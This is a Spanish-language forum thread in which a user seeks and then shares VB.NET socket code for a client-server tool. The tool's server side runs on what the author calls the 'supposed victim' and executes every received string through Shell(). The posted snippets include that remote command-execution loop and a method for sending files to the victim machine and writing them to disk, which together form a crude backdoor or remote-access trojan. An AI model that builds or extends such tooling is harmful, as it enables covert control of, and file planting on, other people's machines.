[Duda] Sockets VB.NET

Iniciado por kub0x, 25 Septiembre 2011, 14:05 PM

0 Miembros y 1 Visitante están viendo este tema.

kub0x

Buenas,

estoy trabajando en varias aplicaciones con sockets (cliente y servidor) lo tengo bien codeado, realiza las funciones de envio y recibo de datos, los datos recibidos son pasados por la shell en la máquina del server (la supuesta víctima) , ahora quiero enviar archivos pero intente codear las funciones de enviar archivos (en el cliente) y la de recibirlos (en el server) y no lo termino de conseguir. Necesito de vuestra destreza para conseguirlo, me urge porque cuanto antes lo tenga mucho mejor, es un proyecto al que me voy a dedicar durante un tiempo :)

Si me podeis guiar o facilitar algun método para enviar o recibir archivos en los sockets te lo agradecería muchísimo. Probé con el método sendfile y en el cliente leyendo los bytes pero se mezclan las funciones de recibir_archivos y recibir_datos.

Gracias y un saludo!
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


Keyen Night

Pon el source de como envias y recibes archivos quizás sea fácil decirte el error que tienes que hacer el código de nuevo. Recuerda, al enviar/recibir un archivo haces lo mismo que al enviar/recibir datos solo que la información va a parar a una ruta y no a la memoria de la aplicación.
La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...

kub0x

Buenas noches,

aquí te pongo el source de la funcion recibir_datos (los que son pasados a la shell)

        If tcpClient.Client.Connected = False Then
            Call iniciar_sockets()
        Else
            While (netStream.DataAvailable = True)
                Try
                    If netStream.CanRead = True Then
                        Dim bytes(100024) As Byte
                        netStream.Read(bytes, 0, bytes.Length)
                        Dim returndata As String = Encoding.ASCII.GetString(bytes)
                        Try
                            Shell(returndata)
                        Catch ex As Exception
                        End Try
                    Else
                        tcpClient.Close()
                        ' Closing the tcpClient instance does not close the network stream.
                        netStream.Close()
                        Return
                    End If
                Catch ex As Exception

                End Try
            End While
        End If


y aquí te pongo la funcion de enviar_archivos del Cliente


Private sub enviar_archivos(Byval archivo As String)
Try
sendfile(archivo)
Msgbox("Archivo enviado")
Catch ex As Exception
Msgbox(ex.message.tostring())
End try
End Sub


La ruta de la variable archivo la selecciono con un OpenFileDialog que le pasa dicha ruta por argumento a la variable.

Mi pregunta es, ¿qué función debo implementar en el server para recibir el archivo del método sendfile del cliente?

Muchas gracias tu ayuda.

Un saludo!
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


kub0x

¿Habría solución alguna?

Gracias.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


kub0x

Vaya, no me acordaba de que este post seguía abierto.

Para el que esté interesado en el envío de archivos mediante Sockets, aquí dejo el método que teneís que llamar para enviar los ficheros:


tcpclient.client.sendfile("ruta_del_fichero")


Y para recibir el fichero y escribirlo en una ruta concreta, debeis nombrar una nueva variable Filestream que pueda crear un archivo, leerlo y escribirlo


Dim fs As New FileStream("C:\ehn.ini", FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 100024)
                        fs.Write(bytes, 0, bytes.Length)
                        fs.Close()


Un saludo!
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate